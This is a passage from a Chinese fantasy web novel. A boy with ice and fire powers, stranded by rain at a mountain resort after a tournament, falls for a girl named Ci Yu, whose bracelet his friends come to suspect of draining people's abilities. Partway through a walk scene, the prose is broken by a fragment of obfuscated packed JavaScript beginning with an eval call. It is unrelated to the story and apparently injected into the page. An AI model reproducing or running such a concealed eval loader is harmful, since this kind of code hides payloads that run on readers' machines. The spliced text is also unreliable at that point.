休息一阵之后,到了决赛。决赛的对手更强,是上一届的冠军队伍。两边打得天昏地暗,训练场差点被拆了。最后时刻,江淮年和沈言同时放大招把对方五人困住,陆时忆趁机一道雷光劈下,结束了比赛。 团队赛冠军。 领奖的时候,台下掌声雷动。几人站在台上,捧着奖杯和奖品,笑得见牙不见眼。连平时没什么表情的时聿,嘴角都微微扬了起来。 比赛结束,主办方在山庄办了庆功宴。所有参赛者都可以参加,自助餐形式,酒水随便喝。 陆时忆拉着江淮年满场转,到处跟人碰杯。沈言被几个好奇混合系的人围住问东问西。时聿和裴衍坐在角落,一个默默吃东西,一个靠着墙打瞌睡。宋听澜和江妤在跟几个治愈系和木系的异能者交流心得。 江淮年喝了几杯果汁,觉得有点闷,溜到阳台透气。夜风很凉,吹散了酒气。他趴在栏杆上,看着山庄里的灯火,心里有种说不出的充实感。 赢了比赛,拿了奖金,认识了新朋友,虽然大部分都是点头之交,但也算开了眼界。原来异能者的世界这么大,有这么多形形色色的人。 “一个人在这儿干嘛?” 一个女声忽然响起。江淮年转头,看见一个女孩站在他旁边,手里端着杯果汁。女孩大概十七八岁,长发披肩,眼睛很大,皮肤很白,笑起来有两个浅浅的梨涡。 “透透气。”江淮年说。 “比赛很精彩。”女孩说,“你的双系异能很少见。” “还行吧。”江淮年挠挠头,“你也是参赛者?” “嗯,第一轮就被淘汰了。水系,练习太少,还不熟练。” “挺好的,能攻能守。” “你真会说话。”女孩笑了,“我叫词隅,诗词的词,隅角的隅。你呢?” “江淮年。” “江淮年……”词隅念了一遍,“淮云落日满江天,岁晚寒深又一年。名字挺好听。” 江淮年有点不好意思:“还行吧。” 两人有一搭没一搭地聊了起来。 词隅很健谈,说话声音也好听,笑起来眼睛弯弯的,像月牙。她说自己来自南方一个小城,家里都是普通人,只有她觉醒了水系异能,所以来参加比赛见见世面。 “你呢?你师父是谁 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“喂。”裴衍忽然开口,声音有点闷,“那个词隅,你认识?” “刚认识的。 怎么了?” “没怎么。”裴衍说完,加快脚步走到前面去了。 江淮年看着他的背影,莫名其妙。裴石头今天怎么了?奇奇怪怪的。 回到房间,洗漱完躺下,江淮年脑子里还是词隅的样子。他翻来覆去睡不着,索性爬起来,推开窗户看月亮。 月光很亮,洒在院子里,像铺了一层银霜。远处传来隐约的虫鸣,更显得夜寂静。 江淮年想起词隅那双弯弯的眼睛,心里又痒了起来。 他活了十七年,从来没对哪个女孩有过这种感觉。以前在旧书店,每天忙着生计,根本没心思谈恋爱。后来来静园,整天训练打怪,更没机会接触除了妹妹以外的女孩。 江淮年摸了摸胸口,心跳有点快。 他好像……有点喜欢她。 但……明明才认识…… 江淮年耳根子发热。他赶紧关上窗户,躺回床上,用被子蒙住头。 但脑子里还是词隅的样子,挥之不去。 第二天一早,江淮年破天荒地起了个大早。他翻箱倒柜找衣服,试了好几套都觉得不满意。最后穿了件黑色的卫衣,牛仔裤,对着镜子照了半天。 “哟,打扮这么帅,约会去啊?”陆时忆不知什么时候出现在门口,靠在门框上挤眉弄眼。 “要你管。”江淮年耳朵有点红。 “啧啧啧,有了姑娘忘了兄弟。”陆时忆摇头晃脑,“重色轻友啊江淮年。” “滚蛋。” 吃过早饭,江淮年跟众人说要去山庄后面逛逛。沈言挑了挑眉,没说话。裴衍看了他一眼,眼神有点复杂,但也没说什么。陆时忆想跟去,被江淮年一脚踹开。 词隅已经在瀑布边等着了。她穿了条浅蓝色的连衣裙,长发编成辫子垂在胸前,看起来清新又活泼。 “你来啦。”她笑着招手。 “嗯。”江淮年走过去,有点拘谨,“等很久了吗?” “没有,刚到。”词隅转身看向瀑布,“看,漂亮吧?” 瀑布不大,从山崖上垂下来,水声潺潺,在阳光下泛着细碎的光。水潭清澈见底,能看见游来游去的小鱼。 两人沿着水潭边慢慢走,有一搭没一搭地聊天。词隅很会找话题,从异能聊到生活,从比赛聊到家乡。江淮年话不多,但句句有回应。聊着聊着,他渐渐放松下来,话也多了。 “你平时除了训练,还喜欢干什么?”词隅问。 “也没什么特别的。”江淮年说,“有时候跟沈言打打游戏,或者跟陆时忆斗斗嘴。裴衍整天睡觉,时聿神出鬼没,宋师兄喜欢捣鼓草药,江妤……我妹妹,喜欢看书。” “你还有妹妹?”词隅眼睛一亮。 “嗯,亲妹妹。”提起江妤,江淮年语气柔和了许多,“脾气不太好,但人很好。” “真好。”词隅轻声说,“我从小就是一个人,很羡慕有兄弟姐妹的人。” 江淮年不知道该说什么,只好干巴巴地安慰:“一个人也挺好的,自由。” 词隅笑了笑,没接话。两人又走了一会儿,她忽然问:“江淮年,你有喜欢的人吗?” 江淮年一愣,耳根子瞬间红了:“……没有。” “真没有?”词隅歪头看他,眼睛弯弯的。 “真没有。”江淮年不敢看她。 “那……”词隅靠近一步,声音轻轻的,“你觉得我怎么样?” 江淮年心跳漏了一拍。他张了张嘴,想说什么,但脑子一片空白。 词隅等了几秒,见他没反应,噗嗤笑了:“逗你的啦,看把你吓的。” 江淮年松了口气,但心里又有点失落。他也不知道自己在失落什么。 “时间不早了,回去吧。”词隅说,“明天比赛就结束了,你们也该走了吧?” “嗯,后天回静园。” “那……”词隅顿了顿,“以后还能再见吗?” “应该能吧。”江淮年说,“你要是有空,可以来静园玩。” “好呀。”词隅笑了,“那就说定了。” 两人往回走。词隅走在前头,江淮年跟在后头。他看着她的背影,辫子随着步伐轻轻晃动,裙摆扫过草地,心里那股痒痒的感觉又冒了出来。 回到山庄,正好碰上沈言。沈言盯着词隅的背影看了几秒,又看向江淮年,挑了挑眉。 “看什么看。”江淮年有点心虚。 “没什么。”沈言收回视线,“师父来电话了,问我们什么时候回去。” “后天吧。”江淮年说,“明天收拾收拾。” “嗯。”沈言应了一声,转身走了。走了几步又回头,“江淮年。” “干嘛?” “长点心。”沈言说完就走了,留下江淮年一头雾水。 长点心?什么意思? 他没多想,回房间收拾行李去了。晚上吃饭时,词隅又来找他,说想跟他交换联系方式。江淮年没有手机,只好把静园的地址给了她。 “我会给你写信的。”词隅说。 “好。”江淮年点头,心里有点甜。 晚饭后,江淮年回房间,发现裴衍坐在他床上,手里拿着本书,但显然没在看,目光放空,不知道在想什么。 “裴石头?你在我房间干嘛?”江淮年问。 裴衍回过神,合上书:“没什么,找你借本书。” “借书?”江淮年狐疑地看着他手里那本《异能基础理论》,裴衍自己屋里就有一本。 “嗯。”裴衍面不改色,“我那本找不到了。” “哦。”江淮年没多想,“那你拿去吧。” 裴衍拿着书走了。走到门口又停住,回头看了江淮年一眼,欲言又止。 “还有事?”江淮年问。 “……没事。”裴衍说完,带上了门。 江淮年挠挠头,觉得裴衍今天真的很奇怪。 他平时也没闲到要看书啊。 但他也没多想,洗漱完就睡了。 梦里,他梦见和词隅一起去看瀑布,词隅笑着问他:“江淮年,你喜欢我吗?” 他正要回答,忽然被一阵敲门声吵醒。 是陆时忆,大嗓门在门外喊:“江淮年!起床了!收拾东西准备回家了!” 江淮年坐起来,揉了揉眼睛。窗外天刚蒙蒙亮。又是新的一天。 15. 滞留 连日的紧张和兴奋过后,倦意像潮水一样涌上来。江淮年醒来时,窗外天光大亮,鸟叫声清脆。他躺在床上发了一会儿呆,才慢吞吞地爬起来洗漱。 楼下餐厅里,陆时忆已经在大口啃包子了。看见江淮年下来,他含糊不清地说:“快点,包子要凉了。” 江淮年在他对面坐下,拿起一个包子咬了一口。是山庄自制的鲜肉包,皮薄馅大,汤汁鲜美。他吃了两个,又喝了碗小米粥,才觉得胃里舒坦了。 “裴石头呢?”他问。 “还在睡。”陆时忆耸肩,“时聿去探路了,宋师兄和江妤在后院看草药。沈言……不知道跑哪儿去了。” 正说着,沈言从外面进来,头发上沾着湿气。他在江淮年旁边坐下,拿起个包子。 “下雨了。”他说。 “下雨?”江淮年看向窗外。这才注意到,天色不知什么时候暗了下来,细密的雨丝正斜斜地打在玻璃窗上。 “下得好,正好多住一天。”陆时忆美滋滋地说,“这的温泉可舒服了,我还没泡够呢。” “你昨天泡了三个小时,皮都要泡皱了。”沈言吐槽。 “你管我!” 江淮年没理这俩人,只是看着窗外越来越大的雨。雨点密集起来,打在屋檐上噼啪作响,很快就连成一片雨幕,把远处的山峦都遮得模糊了。 时聿从外面回来,身上湿了大半。他脱了外套,言简意赅:“路坏了,走不了。” “坏了?”陆时忆瞪眼,“怎么坏的?” “山体滑坡,冲垮了一段。山庄老板说,得等雨停,路修好。” “要等多久?” “不知道。雨太大,工人上不去。” 几个人面面相觑。 裴衍这时候才慢悠悠地下楼,头发还翘着,一脸没睡醒的样子。听说了情况,他只是“哦”了一声,在江淮年旁边坐下,拿起个包子开始啃。 “你倒是淡定。”江淮年说。 “急有什么用。”裴衍咽下包子,喝了口粥,“等着呗。” 于是只能等。雨下了一整天,没有要停的意思。山庄里滞留的异能者越来越多,都是被这场突如其来的大雨困住的。 餐厅里比平时热闹,三五成群地聚在一起,聊天、打牌、交换情报。 静园一行人吃了午饭,觉得无聊,决定去室内训练场消磨时间。训练场不大,只有静园的一半,但设施还算齐全。陆时忆拉着时聿对练电光对影刃,宋听澜和江妤在角落里研究木系和水系的配合,沈言和江淮年则占据了另一块场地,开始日常对练。 练了不到半小时,训练场的门被推开了。 词隅走了进来,手里拿着两瓶水。她今天穿了件米白色的毛衣,浅蓝色牛仔裤,长发松松地编成麻花辫,看起来清新又温柔。 “在训练啊?”她笑着走过来,把一瓶水递给江淮年,“给你们送水。” 江淮年愣了一下,接过水:“谢谢。” 沈言也停下动作,看了词隅一眼,没说话。 “不打扰你们吧?”词隅问,眼睛看着江淮年。 “不打扰。”江淮年拧开水喝了一口。水是温的,不冷不热刚刚好。 “那你们继续,我看看。”词隅在旁边的长凳上坐下,托着下巴,一副准备认真观摩的样子。 江淮年被她看得有点不自在。他看了眼沈言,沈言挑了挑眉,意思是“你看着办”。 他深吸一口气,对沈言说:“继续?” “来。”沈言摆开架势。 两人又打起来。光芒交错,炸开细碎的光点。词隅看得很专注,眼睛跟着他们的动作转。 打了十几分钟,江淮年凝冰盾格挡,冰盾碎裂,他后退两步,喘了口气。 “休息会儿。” 两人走到长凳边坐下。词隅递过来毛巾,江淮年道谢接过。沈言没接,自己从包里拿出毛巾擦了擦汗。 “你们配合真好。招式衔接流畅,攻防转换也快。练了很久吧?” “还行。”江淮年说,“天天打,熟能生巧。” “真羡慕。”词隅轻声说,“我一个人练,总找不到感觉。对练也找不到合适的对手。” “你可以找其他同系啊。”沈言说。 “这里水系不多,而且……大家都很忙,没人愿意花时间陪我练。” 江淮年看着她低垂的睫毛,心里动了动。 他想起自己刚来静园的时候,也是一个人瞎练,直到遇到裴衍他们,才慢慢走上正轨。 那种孤独的感觉,他懂。 “要不……”他犹豫了一下,“我陪你练会儿?” 沈言看了他一眼。江淮年假装没看见。 “真的吗?”词隅眼睛亮起来,“不会耽误你训练吧?” “不会,反正也是闲着。” “那太好了!”词隅站起身,走到场地中央,摆开起手式,“请多指教。” 江淮年也走过去。 他了解不多,只发现词隅的攻击确实不强,水鞭抽过来软绵绵的,凝结得也不够结实。但控制很精准,能拐弯,能追踪,打起来还挺麻烦。 练了十几分钟,词隅渐渐放开,招式也多了起来。虽然威力不大,但变化多端。江淮年不得不认真应对才勉强占了上风。 最后,水汽蒸腾,炸开一片白雾。 词隅后退两步,喘着气笑:“不行了,打不过你。” “你水系用得很好了。控制力很强。” “真的吗?”词隅脸有点红,不知道是累的还是不好意思。 “嗯。”江淮年点头。 “谢谢。”词隅抿唇笑了笑,“那……明天还能一起练吗?” 江淮年看了眼沈言。沈言翻个白眼,然后面无表情地看着窗外,好像对雨景很感兴趣。 “……行。”他说。 词隅眼睛更亮了:“那就说定了!” 她又待了一会儿,才告辞离开。 等她走了,沈言才开口:“你还真陪她练。” “怎么了?” “没什么。”沈言站起身,“就是觉得,你对她也太好了点。” “人家一个人不容易,帮一下怎么了?” “帮一下可以,别陷进去。”沈言说完,去旁边拿水喝了。 江淮年皱眉。沈言这话说得没头没脑的,什么叫“别陷进去”?他就是看词隅一个人练功可怜,陪她练练而已,想哪去了,他们才不是……那种关系。 ……至少现在不是。 晚上吃饭时,雨还没停。餐厅里人更多了,吵吵嚷嚷的。静园一行人找了个靠窗的位置坐下,刚点完菜,词隅就过来了。 “能拼个桌吗?”她问,手里端着餐盘,“那边没位置了。” 江淮年看了眼其他人。陆时忆热情地招呼:“坐坐坐,人多热闹!” 词隅在江淮年旁边坐下。她的餐盘里是简单的两菜一汤,看起来很清淡。 “你就吃这么点?”江淮年问。 “我胃口小,而且最近在减肥。” “减什么肥,你又不胖。”陆时忆插嘴。 词隅抿嘴笑,没说话,小口小口地吃着饭。 她吃相很文雅,筷子夹菜的动作轻轻的,咀嚼时也不发出声音。跟旁边狼吞虎咽的陆时忆形成鲜明对比。 江淮年看着她细白的手指,还有手腕上那条很突出的黑色手链,黑色细绳串着几颗深蓝色的珠子,看起来挺普通的。他心里忽然有点不自在。移开视线,埋头吃饭。 饭后,词隅提议去茶室喝茶。 她说山庄的茶室很有特色,茶叶是自家种的,泉水是后山引的,泡出来的茶特别香。 陆时忆第一个响应:“去去去!正好消食!” 其他人也没反对。于是一行人转移到茶室。 江淮年对茶没什么研究,只是觉得好喝。 他靠在椅背上,听着窗外的雨声,还有茶室里轻柔的音乐,忽然觉得这样的时光很惬意。 词隅坐在他对面,偶尔抬眼看他,眼神温柔。她说话时声音轻轻柔柔的,笑起来也很好看。江淮年看着她,心里那股不自在又冒了出来。 茶喝到一半,老板拿来一副象棋。陆时忆立刻嚷嚷要下,但他棋艺太臭,被沈言三下五除二杀得片甲不留。词隅在旁边看着,忽然说:“江淮年,你会下棋吗?” “会一点。”江淮年说。他以前在旧书店的时候,经常看父亲跟客人下棋,自己也学了点皮毛。 “那我们来一局?”词隅眼睛亮亮地看着他。 江淮年犹豫了一下,点头:“行。” 两人摆开棋盘。词隅执红先手,第一步炮二平五。江淮年应对,两人你来我往,很快就下了十几手。词隅的棋风跟她的人一样,看似温和,实则绵里藏针。 江淮年下得吃力,好几次差点中招。 “你棋下得不错。”词隅说,手托着下巴,眼睛盯着棋盘。 “你更好。”江淮年实话实说。他已经丢了两个兵,一个马,形势不太妙。 “我小时候跟爷爷学的。”词隅轻声说,“他去世后,就没人陪我下了。” 江淮年抬头看她。词隅垂着眼,睫毛在脸上投下淡淡的阴影,看起来有点落寞。 “你爷爷……也是异能者吗?” “不是。”词隅摇头,“他就是个普通的茶农。但他棋下得很好,十里八乡没人能赢他。” “那他一定很疼你。” “嗯,他最疼我了。可惜……” 她没说完,但江淮年懂了。他想起自己的父母,心里也跟着一酸。 “该你了。”词隅提醒。 江淮年回过神,低头看棋盘。局势已经很明朗了,他败局已定。但他还是认真地下完了最后几步,然后投子认输。 “承让。”词隅笑着说。 “你厉害。”江淮年心服口服。 窗外的雨还在下,茶室里的灯光温暖。陆时忆和沈言在斗嘴,裴衍靠着椅子打瞌睡,时聿默默喝茶,宋听澜和江妤在低声聊天。词隅坐在他对面,温柔地看着他,手腕上的黑色手链在灯光下泛着幽暗的光。 江淮年忽然觉得,这样的夜晚,也挺好。 第二天,雨势稍减,但依旧没停。山路依旧不通,山庄老板说,抢修队上去了,但进度缓慢,至少还得等两天。 静园一行人又去训练场。词隅果然来了,还带了点心,她自己做的绿豆糕,清甜不腻,很好吃。 “你还会做点心?”江淮年惊讶。 “闲着没事学的。”词隅不好意思地笑,“做得不好,别嫌弃。” 江淮年拿了块吃,绿豆糕入口即化,豆香浓郁,比外面卖的还好吃。 “你喜欢就好。”词隅眼睛弯起来。 江淮年看着她的眼,想着,她好爱笑。 吃过点心,开始训练。 词隅还是找江淮年陪练。 今天她的水系攻击凌厉了许多,水鞭抽过来凌厉生风,冰锥也更加凝实。江淮年不得不打起精神应对,冰火交替,打得训练场里水汽蒸腾。 练到一半,沈言走过来,对词隅说:“咱俩也来一局?” 词隅愣了一下,然后点头:“好啊。” 沈言攻击变化多端。词隅的水系被克制得厉害,但她防守得很好,水幕一层又一层,勉强挡住了沈言的进攻。 打了十几分钟,沈言忽然一个混合球轰出,词隅的水幕被炸开,她踉跄后退,差点摔倒。 江淮年下意识地伸手扶了她一把。 “没事吧?”他问。 “没事。”词隅站稳,脸色有点白,“沈言你好厉害。” “你也不差。”沈言收回手,眼神在她手腕的手链上停留了一瞬,然后移开。 中午吃饭时,词隅又来了。这次她带了自己腌的小菜,酸辣开胃,很下饭。陆时忆吃得赞不绝口,直夸她贤惠。 沈言默默吐槽:“陆傻子,你除了睡还能干啥。” 陆时忆想了想:“还会玩。” 沈言:“。” 江淮年偷偷看了词隅一眼,她低着头吃饭,睫毛在脸上投下淡淡的阴影。他心里那股痒痒的感觉又冒了出来。 下午,雨终于停了片刻。天空露出一点蓝色,阳光从云缝里漏下来,把院子里的积水照得亮晶晶的。山庄老板高兴地说,如果晚上不下雨,明天就能通车了。 “终于能回家了!”陆时忆欢呼。 但江淮年心里却有点……不舍。 他看了眼词隅,她站在廊下,仰头看着天空。明天就要走了,以后可能再也见不到了。 “江淮年。”词隅忽然叫他。 “嗯?” “能陪我出去走走吗?”她问,“雨停了,空气很好。” 江淮年看了眼其他人。陆时忆在跟沈言斗嘴,裴衍在打瞌睡,时聿和宋听澜在下棋,江妤在看书。没人注意他。 “……行。”他说。 两人走出山庄,沿着后山的小路慢慢走。雨后的山林清新湿润,树叶上还挂着水珠,风一吹就簌簌落下。空气里有泥土和青草的味道,还有野花的淡香。 “这里真美。”词隅轻声说。 “嗯。”江淮年应了一声。他其实没太注意风景,注意力全在词隅身上。她今天穿了条浅绿色的裙子,长发披散下来,发梢随着步伐轻轻晃动。手腕上那条黑色手链,在阳光下也不那么显眼了。 “你明天就要走了?”词隅问。 “嗯,路通了就走。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“你……人很好。”他最终这么说,“温柔,细心,还会做吃的。而且很努力,水系练得不错。” 词隅转头看他,眼睛亮亮的:“真的吗?” “真的。” “那……”词隅咬了咬嘴唇,像是下定了什么决心,“如果我说……我喜欢你,你信吗?” 江淮年脑子嗡的一声,整个人僵住了。 他张了张嘴,想说点什么,但喉咙发干,一个字也说不出来。 词隅看着他慌乱的样子,噗嗤笑了:“逗你的啦,看把你吓的。” 江淮年松了口气,但心里又有点说不清的失落。他还没理清那失落是什么,词隅已经站起身,拍了拍裙子上的灰。 “时间不早了,回去吧。” 两人往回走。一路无言,气氛有点微妙。江淮年脑子里乱糟糟的,一会儿是词隅说“我喜欢你”时的表情,一会儿是她笑着说“逗你的”的样子。 他分不清哪句是真,哪句是假。 回到山庄,正好碰上裴衍。 他倒是罕见的没睡觉。 裴衍盯着江淮年看了几秒,又看了眼词隅,眉头皱了起来。 “去哪了?”他问。 “就出去走了走。”江淮年说。 “雨刚停,地上滑,小心摔着。”裴衍说完,转身走了。 词隅看着他的背影,轻声说:“你师兄他……好像不太喜欢我。” “他性格就这样,对谁都冷。”江淮年下意识地替裴衍辩解。 “是吗?”词隅笑了笑,没再说什么,“那我先回房间了。明天……你们走的时候,跟我说一声。” “好。” 词隅走了。江淮年站在原地,看着她消失在走廊尽头,心里那股说不清道不明的感觉又涌了上来。 晚上,雨又下了起来。 淅淅沥沥的,不大,但足够让山路继续封闭。山庄老板愁眉苦脸地告诉大家,还得再等一天。 陆时忆倒是很高兴:“又能多泡一天温泉了!” 晚饭时,词隅没来。江淮年有点心神不宁,时不时往门口看。裴衍看在眼里,没说话,只是默默吃饭。 饭后,江淮年犹豫了一下,还是去敲了词隅的房门。门开了,词隅站在门口,眼睛有点红,像是哭过。 “你怎么了?”江淮年心里一紧。 “没什么。”词隅摇头,声音有点哑,“就是有点想爷爷了。” 江淮年不知道该说什么,只好干巴巴地安慰:“别难过,你爷爷在天上看着你呢,肯定希望你好好的。” “嗯。”词隅点点头,勉强笑了笑,“谢谢你,江淮年。你真好。” 她的眼睛还红着,但笑容很真诚。江淮年看着她,心里软成一团。 “那个……”他忽然鼓起勇气,“明天晚上,山庄有篝火晚会,你去吗?” 词隅眼睛亮了:“你去吗?” “我去。” “那我也去。” “说定了?” “说定了。” 从词隅房间出来,江淮年心情莫名地好。 他哼着歌回自己房间,路上碰到裴衍。裴衍靠在墙边,像是在等他。 “江淮年。”裴衍叫他。 “干嘛?” “离她远点。” 江淮年脸上的笑容淡了:“裴衍,你到底对词隅有什么意见?” “我对她没意见。但我对她手上那条手链有意见。” “手链怎么了?不就是条普通手链吗?” “普通?你仔细看过那手链吗?珠子里面有什么?” 江淮年一愣。他确实没仔细看过。 “那手链,里面有灵魂能量。很多,很杂的灵魂能量。词隅一个水系异能者,哪来那么多乱七八糟的灵魂能量?” 江淮年心里一沉:“你确定?” “确定。”裴衍盯着他,“江淮年,我不是不让你交朋友。但交朋友之前,先把眼睛擦亮。有些人,不是表面看起来那么简单。” 他说完,转身走了。留下江淮年一个人站在走廊里,心里乱成一团。 回到房间,他躺在床上,看着天花板。脑子里一会儿是词隅温柔的笑容,一会儿是她红着眼睛说想爷爷的样子,一会儿是裴衍说“手链里有灵魂能量”。 他翻来覆去睡不着,最后爬起来,走到窗边。窗外雨声淅沥,夜色浓重。 手链……灵魂能量……词隅…… 江淮年揉了揉太阳穴,觉得脑子要炸了。 算了,不想了。 他躺回床上,闭上眼睛。 明天还有篝火晚会,到时候再观察观察。 如果词隅真的有问题…… 再说吧。 他这么想着,慢慢睡着了。 梦里,他看见词隅站在瀑布边,对他笑,手腕上的黑色手链闪着幽暗的光。然后那光越来越亮,越来越亮,最后变成一片刺目的红。 16. 风满楼 第二天晚上,篝火晚会如期举行。 雨停了,山庄老板在院子里点了堆篝火,准备了烤肉和饮料,说是给大家解闷。滞留的异能者们都来了,围着篝火聊天喝酒,气氛很热闹。 词隅来找江淮年了。她换了一身白色的连衣裙,长发披散下来,在篝火的映照下,整个人都笼着一层温暖的光晕。 “走吧。”她笑着伸出手。 江淮年犹豫了一下,还是跟去了。 但他留了个心眼,仔细观察词隅的手腕。 那条黑色手链果然戴着,深蓝色的珠子在火光下泛着幽暗的光泽。他试着感应了一下,但是什么都没感应到。要么是珠子没问题,要么是隐藏得太好。 晚会很热闹。有人弹吉他唱歌,有人表演异能小把戏,有人围着篝火跳舞。词隅拉着江淮年加入跳舞的人群,江淮年笨手笨脚的,踩了她好几脚。词隅也不生气,只是笑,还是江淮年所熟悉的笑容。 跳累了,两人到旁边休息。 词隅递给他一杯果汁,自己也拿了一杯。 “今天玩得开心吗?”她问。 “还行。”江淮年接过果汁,没喝。 “你好像有心事。”词隅看着他,“是因为下午训练太累了吗?” “不是。”江淮年摇头,“就是在想些事情。” “想什么?” “……没什么。”江淮年转移话题,“你呢?等路通了,你打算去哪?” “回家啊。”词隅说,“不过我可能会绕道去一个地方。” “什么地方?” “一个……对我很重要的地方。”词隅的声音忽然轻了下来,“那里有我一直在找的东西。” “什么东西?” 词隅没回答,只是看着手腕上的手链,眼神有些恍惚。 几秒钟后,她才回过神,笑了笑:“没什么,不说这个了。对了江淮年,我能问你个问题吗?” “你问。” “你的双系异能……是怎么觉醒的?”词隅看着他,眼睛很亮,“我听说双系异能者非常罕见,觉醒过程也很凶险。你当时……一定很难吧?” 这个问题很私人。江淮年不太想说,但看着词隅的眼神,他拒绝不了。 江淮年最后还是简单说了说:“就是突然觉醒的。冰和火在体内冲撞,差点死了。后来是师父帮我稳住的。” “你师父真厉害。”词隅赞叹,“能教出你这样的徒弟。” “还行吧。”江淮年有点不好意思。 “那……”词隅凑近了些,声音压低,“你能不能再给我看看你的异能?冰火同时施展的那种。” 她的气息喷在耳边,带着点清甜的味道。 江淮年耳根子又红了,往后挪了挪:“现在?不太好吧,这么多人……” “就一下,一小下。”词隅央求,“我真的很好奇。” 江淮年拗不过她,只好伸出右手,掌心向上。他控制着力度,让一小簇火苗和一小片冰晶同时浮现,在掌心上方悬浮着,火苗温暖,冰晶寒凉,两者互不干扰,反而形成一种奇妙的平衡。 “哇……”词隅眼睛都亮了,“真漂亮。” 她伸出手,似乎想碰碰那冰火。 但就在她的指尖即将触碰到时,江淮年忽然感到一阵心悸。 他体内的冰火之力忽然躁动起来,像是被什么东西牵引着,想要脱离控制。 他吓了一跳,立刻收回异能。冰火同时熄灭,掌心只剩一点微凉的水汽。 “怎么了?”词隅疑惑。 “……没什么。”江淮年心跳得厉害。 刚才那一瞬间,他清楚地感觉到,词隅手腕上的手链,传来了强烈的吸力,那吸力不是针对他本人,而是针对他体内的冰火异能。 那条手链绝对有问题。 “你脸色不太好。”词隅关切地看着他,“不舒服吗?” “……有点累。”江淮年站起身,“我先回去了。” “我送你。” “不用。”江淮年拒绝得很快,“我自己回去就行。你……也早点休息。” 他说完,转身就走,脚步有些仓促。 词隅站在原地,看着他匆匆离去的背影,脸上的笑容渐渐淡去。她低头看着手腕上的手链,深蓝色的珠子里,一丝微弱的红光一闪而过。 江淮年几乎是跑回房间的。关上门,他背靠着门板,大口喘气。心脏还在狂跳,掌心冰凉。 刚才那一瞬间,如果不是他反应快,及时收回了异能,会发生什么?他的冰火之力会不会被那条手链吸走?吸走之后呢?会怎么样? 他不敢想。 敲门声响起。江淮年吓了一跳,警惕地问:“谁?” “我。”是沈言的声音。 江淮年开门,沈言闪身进来,反手关上门。 他看了眼江淮年苍白的脸色,皱眉:“你见到鬼了?” “比鬼还可怕。”江淮年把刚才的事说了一遍。 沈言听完,脸色也沉了下来:“果然有问题。那条手链,在吸收异能能量。” “可她为什么要这么做?”江淮年不解,“她自己就是异能者,为什么要吸收别人的异能?” “可能她自己的异能不够强。”沈言猜测,“或者……她想收集不同属性的异能,做些什么。” “收集异能……”江淮年想起词隅问他双系异能的事,心里一寒,“她是不是早就盯上我了?” “很可能。”沈言点头,“双系异能太罕见,能量也特殊。对她来说,你可能是最好的‘猎物’。” 江淮年感到一阵恶心。 他以为的词隅的温柔、热情、欣赏,原来都是伪装。 她接近他,夸他,对他笑,都只是为了他的异能。 “现在怎么办?”他问。 “告诉其他人。让大家都有个防备。尤其是你,离她远点。” “可她还会来找我。” “那就别单独见她。”沈言说,“不管她说什么,找什么理由,你都别跟她独处。如果非要见,必须有我们在场。” 江淮年点头。他现在哪还敢单独见词隅? 两人又聊了几句,沈言才离开。江淮年躺在床上,却怎么也睡不着。脑子里乱糟糟的,一会儿是词隅笑盈盈的脸,一会儿是她手腕上那条幽暗的手链,一会儿是刚才异能被牵引的那种心悸感。 他翻了个身,看着窗外漆黑的夜空。雨又下起来了,滴滴答答地打在窗玻璃上。 这一夜,他睡得极不安稳。 第二天早上,雨势稍减,但山路依旧不通。山庄老板说,抢修进度缓慢,至少还得等两三天。 江淮年下楼吃早饭时,看见词隅已经坐在餐厅里了。她穿了件浅粉色的毛衣,长发松松地扎在脑后,看起来清新又温柔。看见江淮年,她笑着招手:“早啊。” 江淮年脚步一顿,然后才走过去,在她对面坐下,距离远些。 “昨晚睡得好吗?” “还行。”江淮年低头喝粥,没看她。 “你好像……在躲我?”词隅歪头看他,眼神无辜,“我哪里惹你生气了吗?” “……没有。就是有点累。” “这样啊。”词隅笑了笑,没再追问。但她那双眼睛一直盯着江淮年,目光里带着探究。 江淮年被她看得浑身不自在,匆匆扒完粥,说要去训练,起身走了。 词隅也没拦他,只是目送他离开,嘴角挂着浅浅的笑。 训练场上,其他人已经到了。江淮年把昨晚的事和沈言的猜测说了一遍。陆时忆听完,眼睛瞪得老大:“我靠!那女的是个骗子?!” “小声点。”宋听澜皱眉,“隔墙有耳。” “那现在怎么办?”陆时忆压低声音,“报警?告诉山庄老板?” “我们没有证据。”时聿说,“手链有问题只是猜测。而且,异能者之间的事,普通警察管不了。” “那就这么算了?”陆时忆不甘心。 “当然不是。”裴衍开口,声音很平静,“盯着她,看她想干什么。如果她真有动作,再动手也不迟。” “可她要是对江淮年下手怎么办?”江妤担心地看着哥哥。 “她不会。”沈言说,“至少现在不会。她还没收集到足够的异能能量,不会轻易暴露。而且……”他瞥了江淮年一眼,“她好像对江淮年挺‘珍惜’的,舍不得这么快下手。” 江淮年:“……” “总之,大家最近都小心点。”宋听澜总结,“尤其是江淮年,尽量别落单。训练、吃饭、休息,都一起行动。” 众人点头。 接下来的两天,静园一行人形影不离。 训练一起,吃饭一起,连上厕所都结伴。词隅来找过江淮年几次,但每次都被其他人以各种理由挡了回去。不是说在训练没空,就是说要开会商量事情,总之就是不让她单独接触江淮年。 词隅也不恼,每次都笑着离开,但江淮年能感觉到,她的笑容越来越淡,眼神也越来越冷。 第三天晚上,雨终于停了。 山庄老板兴冲冲地告诉大家,山路抢修好了,明天一早就能通车。 “终于能回家了!”陆时忆欢呼。 其他人也都松了口气。被困在这里好几天,大家都想回静园了。 但江淮年心里却有种不好的预感。他看着窗外漆黑的夜空,总觉得,今晚不会太平。 果然,半夜时分,他被一阵轻微的响动惊醒。 不是雨声,也不是风声,而是……脚步声。很轻,但确实有。 他悄悄起身,走到门边,透过门缝往外看。走廊里很暗,只有应急灯微弱的光。 一个身影正从他门前经过。 是词隅。 她没穿白天那身温柔的衣服,而是一身黑色的紧身衣,长发扎成利落的马尾。 手腕上那条黑色手链在黑暗中泛着幽蓝的光。她脚步很轻,动作敏捷,完全不像平时那个柔弱的水系异能者。 江淮年心里一紧,悄悄开门跟了上去。 词隅穿过走廊,下了楼梯,来到一楼。 她没有去大门,而是拐进了地下室,山庄的地下室平时锁着,说是堆放杂物的地方。 江淮年跟到楼梯口,犹豫了一下,还是跟了下去。 地下室很黑,只有词隅手腕上手链发出的微弱蓝光照明。 空气中弥漫着一股潮湿的霉味,还有一种令人心悸的能量波动。 